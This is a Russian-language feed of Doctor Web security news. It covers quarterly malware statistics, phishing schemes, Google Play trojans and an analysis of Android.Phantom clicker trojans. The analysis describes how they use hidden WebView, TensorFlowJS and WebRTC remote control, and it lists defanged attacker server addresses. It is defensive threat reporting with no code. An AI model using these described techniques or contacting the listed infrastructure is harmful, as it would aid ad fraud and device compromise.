Среди рекламного ПО лидерами по числу детектирований стали программы-оптимизаторы Adware.Bastion.1.origin. Они периодически создают уведомления с вводящими в заблуждение сообщениями о якобы нехватке памяти и ошибках системы. Их целью является демонстрация рекламы во время «оптимизации». Другим популярным рекламным ПО были приложения Adware.Opensite.15, которые злоумышленники выдают за чит-инструменты для получения ресурсов в играх. На самом деле такие программы загружают различные сайты с объявлениями. Распространение вновь получили и программы со встроенными рекламными модулями Adware.AdPush.

В январе компания «Доктор Веб» проинформировала пользователей об Android.Phantom — новом семействе троянских приложений-кликеров. Наши вирусные аналитики выявили несколько источников распространения этих вредоносных программ. Среди них — официальный каталог приложений для устройств Xiaomi GetApps, где трояны были внедрены в ряд игр. Кроме того, киберпреступники распространяли кликеры вместе с модами популярных приложений через различные Telegram-каналы, серверы Discord, онлайн-сборники ПО и вредоносные сайты.

С помощью Android.Phantom злоумышленники накручивают рекламные клики на веб-сайтах, применяя для этого технологии машинного обучения и WebRTC — технологию передачи потоковых данных (в том числе видео) через браузер. Трояны загружают в невидимом WebView целевые интернет-ресурсы вместе с JavaScript-кодом для симуляции действий пользователя. Взаимодействие с объявлениями происходит в одном из двух режимов. Если на устройстве возможно использование WebRTC, кликеры Android.Phantom транслируют злоумышленникам виртуальный экран с загруженным сайтом, и те управляют им вручную или с использованием автоматизированной системы.

Если WebRTC недоступен, применяются автоматизированные сценарии на языке JavaScript, которые используют фреймворк TensorFlowJS. Кликеры скачивают с удаленного сервера необходимую поведенческую модель, а также JavaScript, содержащий сам фреймворк и все необходимые функции для работы модели и взаимодействия с целевыми сайтами.

В течение I квартала антивирусная лаборатория компании «Доктор Веб» зафиксировала появление новых угроз в каталоге Google Play. Среди них — множество троянских приложений Android.Joker, а также вредоносные программы Android.Subscription.23 и Android.Subscription.24. Все они созданы для подписки пользователей на платные услуги.

Главные тенденции I квартала

Банковские трояны Android.Banker стали самыми распространенными Android-угрозами
Злоумышленники стали чаще использовать инструменты для моддинга Android-программ с целью защиты банковских троянов
Продолжилось снижение активности рекламных троянов Android.MobiDash и Android.HiddenAds
Распространение троянских приложений Android.Phantom, которые используют машинное обучение и видеотрансляции для накрутки кликов на веб-сайтах
Обнаружены новые вредоносные приложения в каталоге Google Play

По данным Dr.Web Security Space для мобильных устройств

Android.Banker.Mamont.80.origin: Банковский троян, который перехватывает СМС с одноразовыми кодами от кредитных организаций, содержимое уведомлений, а также собирает другую конфиденциальную информацию. Она включает технические данные о зараженном устройстве, список установленных приложений, информацию о СИМ-карте, телефонных звонках, поступивших и отправленных СМС.
Android.FakeApp.1600: Троянская программа, которая загружает указанный в ее настройках веб-сайт. Известные модификации этого вредоносного приложения загружают сайт онлайн-казино.
Android.HiddenAds.675.origin: Троянская программа для показа навязчивой рекламы. Представители семейства Android.HiddenAds часто распространяются под видом безобидных приложений и, в некоторых случаях, устанавливаются в системный каталог другим вредоносным ПО. Попадая на Android-устройства, такие рекламные трояны обычно скрывают от пользователя свое присутствие в системе — например, «прячут» значок приложения из меню главного экрана.
Android.Packed.57.origin: Детектирование обфускатора, который в том числе используется для защиты вредоносных приложений (например, некоторых версий банковских троянов Android.SpyMax).
Android.Click.1812: Детектирование вредоносных модов мессенджера WhatsApp, которые незаметно для пользователя могут загружать различные сайты в фоновом режиме.

Program.FakeAntiVirus.1: Детектирование рекламных программ, которые имитируют работу антивирусного ПО. Такие программы могут сообщать о несуществующих угрозах и вводить пользователей в заблуждение, требуя оплатить покупку полной версии.
Program.FakeMoney.11: Детектирование приложений, якобы позволяющих зарабатывать на выполнении тех или иных действий или заданий. Эти программы имитируют начисление вознаграждений, причем для вывода «заработанных» денег требуется накопить определенную сумму. Обычно в них имеется список популярных платежных систем и банков, через которые якобы возможно вывести награды. Но даже когда пользователям удается накопить достаточную для вывода сумму, обещанные выплаты не поступают. Этой записью также детектируется другое нежелательное ПО, основанное на коде таких программ.
Program.CloudInject.5
Program.CloudInject.1: Детектирование Android-приложений, модифицированных при помощи облачного сервиса CloudInject и одноименной Android-утилиты (добавлена в вирусную базу Dr.Web как Tool.CloudInject). Такие программы модифицируются на удаленном сервере, при этом заинтересованный в их изменении пользователь (моддер) не контролирует, что именно будет в них встроено. Кроме того, приложения получают набор опасных разрешений. После модификации программ у моддера появляется возможность дистанционно управлять ими: блокировать, показывать настраиваемые диалоги, отслеживать факт установки и удаления другого ПО и т. д.
Program.SnoopPhone.1.origin: Программа для наблюдения за владельцами Android-устройств. Она позволяет читать СМС, получать информацию о телефонных вызовах, отслеживать местоположение устройства и выполнять аудиозапись окружения.

Tool.Obfuscator.TrashCode.1
Tool.Obfuscator.TrashCode.2: Детектирование Android-программ, в которые при помощи хакерских инструментов для моддинга приложений добавлен мусорный код. Такая модификация выполняется с целью запутывания логики программ. Эта техника часто встречается в банковских троянах и в пиратских версиях ПО.
Tool.NPMod.3
Tool.NPMod.1: Детектирование Android-приложений, модифицированных при помощи утилиты NP Manager. Эта утилита содержит модули для обфускации и защиты кода программ, а также обхода проверки их цифровой подписи после модификации. Добавляемая ей обфускация часто используется во вредоносном ПО для затруднения его детектирования и анализа.
Tool.LuckyPatcher.2.origin: Утилита, позволяющая модифицировать установленные Android-приложения (создавать для них патчи) с целью изменения логики их работы или обхода тех или иных ограничений. Например, с ее помощью пользователи могут попытаться отключить проверку root-доступа в банковских программах или получить неограниченные ресурсы в играх. Для создания патчей утилита загружает из интернета специально подготовленные скрипты, которые могут создавать и добавлять в общую базу все желающие. Функциональность таких скриптов может оказаться в том числе и вредоносной, поэтому создаваемые патчи могут представлять потенциальную опасность.

Adware.Bastion.1.origin: Детектирование программ-оптимизаторов, которые периодически создают уведомления с вводящими в заблуждение сообщениями якобы о нехватке памяти и ошибках системы с целью показывать рекламу во время «оптимизации».
Adware.AdPush.3.origin: Рекламный модуль, который может быть интегрирован в Android-программы. Он демонстрирует рекламные уведомления, вводящие пользователей в заблуждение. Например, такие уведомления могут напоминать сообщения от операционной системы. Кроме того, этот модуль собирает ряд конфиденциальных данных, а также способен загружать другие приложения и инициировать их установку.
Adware.Opensite.15: Приложения, выдаваемые за чит-инструменты для получения ресурсов в играх. На самом деле они созданы для демонстрации рекламы. Эти программы получают с удаленного сервера конфигурацию, в соответствии с которой загружают целевой сайт с объявлениями — баннерами, всплывающими окнами, видеороликами и т. д.
Adware.Fictus.1.origin: Рекламный модуль, который злоумышленники встраивают в версии-клоны популярных Android-игр и программ. Его интеграция в программы происходит при помощи специализированного упаковщика net2share. Созданные таким образом копии ПО распространяются через различные каталоги приложений, и после установки демонстрируют нежелательную рекламу.
Adware.Airpush.7.origin: Программные модули, встраиваемые в Android-приложения и демонстрирующие разнообразную рекламу. В зависимости от версии и модификации это могут быть рекламные уведомления, всплывающие окна или баннеры. С помощью данных модулей злоумышленники часто распространяют вредоносные программы, предлагая установить то или иное ПО. Кроме того, такие модули передают на удаленный сервер различную конфиденциальную информацию.

Угрозы в Google Play

В I квартале 2026 года специалисты антивирусной лаборатории «Доктор Веб» выявили в каталоге Google Play очередные вредоносные приложения Android.Joker, которые подписывают жертв на платные услуги. Трояны скрывались в ряде утилит для оптимизации работы Android-устройств, а также распространялись под видом мессенджеров, мультимедийного и другого ПО. Суммарно пользователи установили их, по меньшей мере, 370 000 раз.

Примеры вредоносных программ Android.Joker, выявленных в Google Play в I квартале 2026 года. Android.Joker.2511 был встроен в мессенджер Private Chat Message, а Android.Joker.2524 — в программу-фотокамеру Magic Camera

Кроме того, наши вирусные аналитики обнаружили вредоносные программы Android.Subscription.23 и Android.Subscription.24, также предназначенные для подключения пользователей к платным сервисам. Трояны загружают веб-сайты, на которых при помощи технологии Wap Click активируются платные мобильные подписки. На этих сайтах у пользователей запрашивается номер мобильного телефона, после чего происходит попытка автоматического подключения услуги. Оба вредоносных приложения суммарно были загружены из каталога Google Play свыше 1 500 000 раз.

Вредоносные программы Android.Subscription.23 и Android.Subscription.24 распространялись под видом приложений Stream Hive и Prime Link для управления личными финансами, однако их единственной функциональностью была загрузка сайтов для подключения владельцев Android-устройств к платным мобильным сервисам

Индикаторы компрометации

«Доктор Веб»: обзор вирусной активности в I квартале 2026 года

Wed, 01 Apr 2026 00:00:00 GMT

1 апреля 2026 года

Согласно статистике детектирований антивируса Dr.Web, в I квартале 2026 года общее число обнаруженных угроз снизилось на 6,77% по сравнению с IV кварталом прошлого года. Число уникальных угроз уменьшилось на 11,98%. Чаще всего на защищаемых устройствах обнаруживалось рекламное ПО и рекламные трояны, вредоносные программы-загрузчики, а также бэкдоры.

В почтовом трафике наиболее часто встречались вредоносные скрипты, бэкдоры и различные троянские приложения. Через электронные письма злоумышленники также распространяли фишинговые документы и эксплойты.

Пользователи, чьи файлы были затронуты троянами-шифровальщиками, чаще всего сталкивались с энкодерами Trojan.Encoder.35534, Trojan.Encoder.29750 и Trojan.Encoder.41868.

В I квартале 2026 года интернет-аналитики компании «Доктор Веб» выявили новые фишинговые сайты, включая поддельные ресурсы кредитных организаций и маркетплейсов, а также ряд других нежелательных сайтов.

В сегменте мобильных устройств наблюдалась возросшая активность банковских троянов. При этом наши вирусные аналитики отметили рост популярности методики защиты вредоносных программ от обнаружения антивирусным ПО, которая заключается в добавлении в них мусорного кода.

В январе эксперты «Доктор Веб» рассказали о троянах-кликерах Android.Phantom, которые используют машинное обучение и видеотрансляции для накрутки кликов на веб-сайтах. Кроме того, в течение последних 3 месяцев мы зафиксировали появление очередных вредоносных программ в каталоге Google Play, среди которых были трояны, подписывающие пользователей на платные услуги.

Главные тенденции I квартала

Снизилось число угроз, обнаруженных на защищаемых устройствах
Среди детектируемых угроз сократилось число уникальных файлов
По сравнению с прошлым периодом наблюдения было зафиксировано меньше запросов на расшифровку файлов, затронутых троянскими программами-шифровальщиками
Продолжился рост активности банковских троянов для Android-устройств
Пользователям угрожали вредоносные программы-кликеры Android.Phantom, которые используют, в том числе, технологии машинного обучения для накрутки кликов на веб-сайтах
В каталоге Google Play были выявлены очередные вредоносные программы

По данным сервиса статистики «Доктор Веб»

Наиболее распространенные угрозы I квартала 2026 года

Trojan.Siggen31.34463: Троян, написанный на языке программирования Go и предназначенный для загрузки в целевую систему различных майнеров и рекламного ПО. Вредоносная программа является DLL-файлом и располагается в %appdata%\utorrent\lib.dll. Для своего запуска эксплуатирует уязвимость класса DLL Search Order Hijacking в торрент-клиенте uTorrent.
Adware.Downware.20655
Adware.Downware.20766: Рекламное ПО, выступающее в роли промежуточного установщика пиратских программ.
Trojan.BPlug.4268: Детектирование вредоносного компонента браузерного расширения WinSafe. Этот компонент представляет собой сценарий JavaScript, который демонстрирует навязчивую рекламу в браузерах.
Adware.Siggen.33379: Поддельный браузерный блокировщик рекламы Adblock Plus, который устанавливается в систему другими вредоносными приложениями с целью показа рекламы.

Статистика вредоносных программ в почтовом трафике

Наиболее распространенные угрозы I квартала 2026 года в почтовом трафике

JS.DownLoader.1225: Эвристическое детектирование для ZIP-архивов, содержащих скрипты JavaScript с подозрительными именами.
W97M.DownLoader.2938: Семейство троянов-загрузчиков, использующих уязвимости документов Microsoft Office. Они предназначены для загрузки других вредоносных программ на атакуемый компьютер.
Exploit.CVE-2017-11882.123
Exploit.CVE-2018-0798.4: Эксплойты для использования уязвимостей в ПО Microsoft Office, позволяющие выполнить произвольный код.
JS.Redirector.514: Вредоносный скрипт, перенаправляющий пользователя на подконтрольную злоумышленникам веб-страницу.

Шифровальщики

В I квартале 2026 года число запросов на расшифровку файлов, затронутых троянскими программами-шифровальщиками, сократилось на 31,51% по сравнению с IV кварталом минувшего года. Снижение произошло на фоне новогодних праздников и связанных с ними продолжительных выходных, в течение которых ряд киберпреступников мог приостановить активность и уйти на каникулы. При этом пользователи, которые все же пострадали от атак троянов-шифровальщиков в этот период, могли не сразу среагировать на произошедшие инциденты.

Динамика поступления запросов на расшифровку в Службу технической поддержки «Доктор Веб»:

Наиболее распространенные энкодеры I квартала 2026 года

Trojan.Encoder.35534 — 15,59% обращений пользователей
Trojan.Encoder.29750 — 3,23% обращений пользователей
Trojan.Encoder.41868 — 3,23% обращений пользователей
Trojan.Encoder.26996 — 1,62% обращений пользователей
Trojan.Encoder.44383 — 1,61% обращений пользователей

Сетевое мошенничество

За минувшие 3 месяца интернет-аналитики компании «Доктор Веб» выявили ряд новых поддельных сайтов маркетплейсов. На них злоумышленники предлагают принять участие в «распродаже» якобы невыкупленных заказов. Мошенническая схема заключается в следующем: «невостребованные» товары из заказов разделены на различные категории (электроника, одежда, обувь, косметика и т. д.) и якобы собираются в соответствующие коробки-сюрпризы. Их содержимое неизвестно и может включать, в том числе, дорогие вещи. При этом такие коробки потенциальным жертвам предлагается купить за относительно невысокую стоимость, что и является главной приманкой.

Поддельный сайт маркетплейса обещает «распродажу невостребованных заказов», которые якобы переполняют склады

Когда пользователь выбирает одну из коробок, ему предлагается оформить заказ и указать персональные данные, которые могут включать имя и фамилию, номер мобильного телефона и адрес электронной почты. Затем он перенаправляется на страницу оплаты через СБП. В итоге жертва лишается денег и передает мошенникам конфиденциальные сведения.

После оформления «заказа» жертве предлагается оплатить его через Систему быстрых платежей

Наши эксперты также выявили множество сайтов сервисов, предлагающих различные финансовые услуги, например — возможность оперативного получения микрозайма, кредита или прохождения процедуры банкротства. Такие сервисы сами не предоставляют эти услуги, как того ожидают пользователи, и являются лишь посредниками между клиентами и финансовыми организациями. Они на платной основе дают доступ к подборке потенциально подходящих вариантов, в то время как агрегация подобных финансовых предложений доступна в бесплатных источниках. Более того, эти сервисы не гарантируют успешный результат при подаче заявки. В то же время, оплата доступа является не единовременной и представляет собой платную подписку с периодическим списанием денег.

Один из веб-сайтов, где доступ к сервису по подбору финансовых предложений является платным и оформляется в виде подписки

В некоторых случаях подобные ресурсы могут вводить пользователей в заблуждение, предлагая одну услугу, например — трудоустройство, но фактически предоставлять по подписке доступ к тем же финансовым предложениям по получению кредитов, микрозаймов и т. д.

Веб-сайт обещает помощь в поиске работы, но после оплаты доступа к сервису вместо списка вакансий может предоставить финансовые предложения от партнеров на получение кредита, микрозайма и т. п.

Среди выявленных в I квартале фишинговых сайтов встречались поддельные интернет-ресурсы благотворительного спортивного забега «Зеленый марафон». На них посетителям предлагается зарегистрироваться для участия в марафоне, однако эти сайты не имеют отношения к мероприятию и созданы для сбора конфиденциальных данных пользователей.

Один из поддельных сайтов забега «Зеленый марафон»

Интернет-аналитики «Доктор Веб» также выявили очередные поддельные сайты инвестиционных сервисов, якобы имеющих отношение к различным кредитным организациям. Среди них были сайты, ориентированные на аудиторию из России, Казахстана и других стран. Мошенники обещают потенциальным жертвам высокую прибыль и для «доступа» к псевдоинвестиционным платформам просят пройти короткий опрос и зарегистрировать учетную запись, указав персональную информацию.

Пример фишингового сайта, который злоумышленники выдают за официальный ресурс инвестиционного сервиса одного из российских банков

Пример фишингового сайта, который злоумышленники выдают за официальный ресурс инвестиционного сервиса одной из кредитных организаций Казахстана

Узнайте больше о нерекомендуемых антивирусом Dr.Web сайтах

Вредоносное и нежелательное ПО для мобильных устройств

По данным статистики детектирований Dr.Web Security Space для мобильных устройств, в I квартале 2026 года продолжился рост активности банковских троянов Android.Banker, который наблюдался в IV квартале минувшего года. Наиболее распространенными среди них стали представители подсемейства Android.Banker.Mamont. В то же время вновь сократилось число детектирований рекламных троянов Android.MobiDash и Android.HiddenAds.

Среди выявленного потенциально опасного ПО лидировали программы, в которые при помощи инструментов для моддинга внедрен мусорный код (детектируются как Tool.Obfuscator.TrashCode). Такая методика в настоящее время активно применяется для защиты банковских троянов от обнаружения антивирусами. Кроме того, по-прежнему распространенными были приложения, модифицированные при помощи утилиты NP Manager (детектируются как Tool.NPMod).

Наиболее часто детектируемым нежелательным ПО стали поддельные антивирусы Program.FakeAntiVirus, которые для «лечения» якобы выявленных угроз требуют приобрести полную версию. Самым активным рекламным ПО в I квартале оказались программы Adware.Bastion.1.origin и Adware.Opensite.15. Первые представляют собой приложения-оптимизаторы, которые создают уведомления с сообщениями о якобы нехватке памяти и ошибках системы, чтобы показывать рекламу во время «оптимизации». Вторые являются поддельными чит-программами для получения различных ресурсов в играх, но в действительности лишь загружают веб-сайты с рекламой.

В январе 2026 года наша антивирусная лаборатория предупредила о троянах-кликерах Android.Phantom. Эти вредоносные приложения используют машинное обучение и видеотрансляции для накрутки кликов на веб-сайтах. Киберпреступники распространяли их сразу несколькими способами: через каталог GetApps для устройств Xiaomi, Telegram-каналы, серверы Discord, сторонние сборники ПО и через вредоносные сайты.

В течение минувших 3 месяцев вирусные аналитики «Доктор Веб» выявили в каталоге Google Play новые угрозы, среди которых были троянские приложения Android.Joker и Android.Subscription, предназначенные для подписки пользователей на платные услуги.

Наиболее заметные события, связанные с «мобильной» безопасностью в I квартале

Банковские трояны Android.Banker стали самыми распространенными угрозами для Android-устройств
Киберпреступники чаще использовали утилиты для моддинга Android-приложений, чтобы защитить банковские трояны от обнаружения антивирусами
Продолжилась тенденция к снижению активности рекламных троянов Android.MobiDash и Android.HiddenAds
Пользователям угрожали трояны Android.Phantom, использующие машинное обучение и видеотрансляции для накрутки кликов на веб-сайтах
В каталоге Google Play вновь распространялись вредоносные приложения

Более подробно о вирусной обстановке для мобильных устройств в I квартале 2026 года читайте в нашем обзоре.

Решение для защиты персональных компьютеров Dr.Web получило награду SKD AWARDS

Tue, 24 Mar 2026 12:26:39 GMT

Решение для защиты персональных компьютеров Dr.Web Security Space в очередной раз было отмечено отраслевой премией SKD AWARDS. Dr.Web Security Space был признан лучшим в категории «Антивирусы для ПК».

Для «Доктор Веб» это уже третья подобная награда подряд. В 2023 году Dr.Web Security Space 12.0 для Windows выиграл в категории «Безопасность персональных компьютеров», в 2024 антивирусное решение для персональных компьютеров вновь было признано лучшим, а Dr.Web Mobile Engine SDK победил в категории «Антивирусные движки».

SKD AWARDS — это ежегодная премия, проводимая SKD Labs, всемирно известной независимой лабораторией тестирования и сертификации в области информационной безопасности. Неофициально эту премию называют «Оскар для продуктов кибербезопасности» и рассматривают в качестве одного из важных показателей при оценке эффективности специализированных продуктов.

В рамках премии, продукты проходят серию тестов, в ходе которых оцениваются их функциональность, производительность, технические инновации, поведение в реальных сценариях, способность обнаружения угроз и реагирование на них.

Трояны семейства Android.Phantom проникают в смартфоны вместе с играми и пиратскими модами популярных приложений. Они используют машинное обучение и видеотрансляции для накрутки кликов

Wed, 21 Jan 2026 06:00:00 GMT

21 января 2026 года

Специалисты антивирусной лаборатории «Доктор Веб» обнаружили и исследовали новое семейство троянов с функциональностью кликера. Их объединяет одна особенность: они либо управляются с сервера hxxps[:]//dllpgd[.]click, либо загружаются и выполняются по команде с него. Вредоносное ПО данного типа заражает смартфоны на ОС Android.

Один из каналов распространения троянов — официальный каталог приложений для устройств Xiaomi GetApps.

Нам удалось отследить несколько мобильных игр, которые содержат вредоносное ПО: Creation Magic World (более 32 тыс. скачиваний), Cute Pet House (>34 тыс. скачиваний), Amazing Unicorn Party (>13 тыс. скачиваний), Академия мечты Сакура (>4 тыс. скачиваний), Theft Auto Mafia (>61 тыс. скачиваний), Open World Gangsters (>11 тыс. скачиваний). Все зараженные игры выложены от лица одного разработчика, SHENZHEN RUIREN NETWORK CO., LTD., троянцы вшиты в них и запускаются вместе с приложениями.

В первоначальных версиях игр вредоносного ПО не было. 28/29 сентября разработчик публикует обновления для игр, в которые встроен троян Android.Phantom.2.origin. Он работает в двух режимах, которые в коде программы условно называются режим сигнализации (signaling) и фантом (phantom).

В режиме phantom вредоносное ПО использует скрытый от пользователя встроенный браузер на основе виджета WebView. В него по команде с сервера hxxps[:]//playstations[.]click загружается целевой сайт для накрутки кликов и файл JavaScript «phantom». Последний содержит в себе сценарий для автоматизации действий на рекламных объявлениях загруженного сайта и фреймворк машинного обучения TensorFlowJS. Модель для этого фреймворка загружается с сервера hxxps[:]//app-download[.]cn-wlcb[.]ufileos[.]com в директорию приложения. В сценариях для работы с некоторыми видами рекламы Android.Phantom.2.origin размещает браузер на виртуальном экране и делает скриншоты. Троян анализирует их с помощью модели для фреймворка TensorFlowJS, а затем кликает по обнаруженным элементам.

В альтернативном режиме signaling троянец подключается к стороннему серверу при помощи WebRTC. Эта технология позволяет браузерам и приложениям устанавливать прямое соединение для обмена данными, аудио и видео в режиме реального времени без установки дополнительного ПО. В режиме signaling уже упомянутый hxxps[:]//dllpgd[.]click выполняет роль сигнального сервера, устанавливающий соединения между узлами WebRTC. Также данный сервер определяет режим работы трояна, phantom или signaling. Задачи с целевыми сайтами приходят от hxxps[:]//playstations[.]click. Далее Android.Phantom.2.origin тайно от пользователя транслирует злоумышленникам видео виртуального экрана с загруженным в браузер сайтом. Троянец дает возможность подключенному узлу WebRTC удаленно управлять браузером на виртуальном экране: кликать, скроллить, вводить или вставлять текст в форму для ввода.

15/16 октября вышеуказанные игры получили еще одно обновление. В дополнение к Android.Phantom.2.origin в них встроили модуль Android.Phantom.5. Он является дроппером, который содержит внутри себя загрузчик удаленного кода Android.Phantom.4.origin. Эта программа загружает еще несколько троянов, предназначенных для имитации кликов на различных сайтах. Эти модули проще кликера Android.Phantom.2.origin — они не используют машинное обучение или видеотрансляции, а руководствуются сценариями для кликов, написанных на JavaScript.

Чтобы использовать технологию WebRTC на Android, трояну необходимо подключить специальную библиотеку с Java API, которая не входит в состав стандартной ОС и скачанных приложений. Поэтому поначалу троян работал преимущественно в режиме phantom. С добавлением в приложения Android.Phantom.5, троян Android.Phantom.2.origin получил возможность использовать загрузчик удаленного кода Android.Phantom.4.origin для загрузки необходимой библиотеки.

Злоумышленники используют также и другие каналы распространения троянов Android.Phantom.2.origin и Android.Phantom.5. К примеру, моды музыкального стриминга Spotify с разблокированными premium функциями. Они размещаются на различных сайтах, вот несколько примеров:

Сайт Spotify Plus

Сайт Spotify Pro

И в специальных телеграм-каналах:

Spotify Pro
(54 400 подписчиков)

Spotify Plus – Official
(15 057 подписчиков)

Моды Spotify, размещенные на сайтах и в указанных на скриншотах телеграм-каналах, содержат Android.Phantom.2.origin и библиотеку для организации связи по стандарту WebRTC под Android.

Кроме модов Spotify, злоумышленники вшивают трояны в моды других популярных приложений: YouTube, Deezer, Netflix и др. Они размещены на специальных сайтах с модами:

Сайт Apkmody

Сайт Moddroid

Сайт Moddroid содержит раздел «Выбор редакции». Из 20 приложений в нем только 4 были чистыми. Остальные 16 содержали трояны семейства Android.Phantom. Приложения на этих двух сайтах загружаются с одного CDN-сервера hxxps[:]//cdn[.]topmongo[.]com. У этих сайтов есть свои телеграм-каналы, где пользователи скачивают зараженные троянам моды:

Moddroid.com
(87 653 подписчика)

Apkmody Chat
(6 297 подписчиков)

Также для своих целей преступники используют сервера Discord. Самый большой из них — Spotify X, около 24 тысяч подписчиков.

Администраторы Discord-серверов не стесняются напрямую предлагать зараженные моды. Например, на скриншоте выше администратор от лица сервера предлагает скачать мод музыкального стриминга Deezer вместо Spotify, поскольку последний перестал работать.

По ссылке скачивается рабочий мод. Его код защищен коммерческим упаковщиком, внутри которого скрывается троян Android.Phantom.1.origin. Это загрузчик удаленного кода, по команде с сервера hxxps[:]//dllpgd[.]click он загружает уже нам знакомые Android.Phantom.2.origin, Android.Phantom.5 и троян-шпион Android.Phantom.5.origin. Последний отправляет информацию об устройстве злоумышленникам, в том числе номер телефона, геолокацию, список установленных приложений.

Этот скриншот с сервера показывает, на каких языках говорят пользователи, которые становятся объектами заражения. Для доступа к чатам на языках, отличных от английского, необходимо поставить реакцию с соответствующим флагом. Больше всего отметились пользователи, говорящие на испанском, французском, немецком, польском и итальянском языках (не считая английского, который является основным языком сервера). Также администраторы сервера не предусмотрели чатов для многих стран Азии.

Трояны могут нанести существенный вред владельцам зараженных устройств. Перечислим несколько возможных исходов:

Невольное соучастие. Смартфон пользователя может быть использован в качестве бота при DDoS-атаке, тем самым делая владельца невольным соучастником киберпреступления.
Незаконная активность. Через устройство злоумышленники могут совершать незаконную онлайн-деятельность, к примеру, использовать смартфон в мошеннических схемах или рассылать спам-сообщения.
Повышенное потребление заряда и трафика. Посторонняя деятельность разряжает аккумулятор и расходует интернет-трафик.
Утечка персональных данных. Android.Phantom.5.origin является шпионом и может передавать данные об устройстве и владельце.

Трояны этого семейства представляют угрозу для владельцев мобильных устройств на Android, не защищенных актуальным антивирусным ПО. Российские пользователи испытывают трудности с регистрацией в зарубежных приложениях или оплатой подписок. Ситуация подталкивает искать и использовать альтернативные, зачастую полулегальные, способы получения услуг этих компаний. Эта ситуация на руку вирусописателям, ведь пользователям приходится рисковать и доверять сомнительным вариантам. Особую группу риска составляют дети, которые не думают о правилах цифровой гигиены, желая всего лишь поиграть, послушать музыку или посмотреть видеоклипы.

Мы рекомендуем не скачивать моды на сомнительных сайтах и в каналах. Как правило, проверка источников модов или приложений требует времени, опыта и насмотренности. Поэтому лучший вариант обеспечить себе и своим близким гарантированное спокойствие — использовать Dr.Web Security Space для мобильных устройств. Он защитит не только ваши смартфоны, но и другие умные устройства: игровые консоли, планшеты, smartTV.

Индикаторы компрометации
Подробнее о Android.Phantom.1.origin
Подробнее о Android.Phantom.2.origin
Подробнее о Android.Phantom.3
Подробнее о Android.Phantom.4.origin
Подробнее о Android.Phantom.5
Подробнее о Android.Phantom.5.origin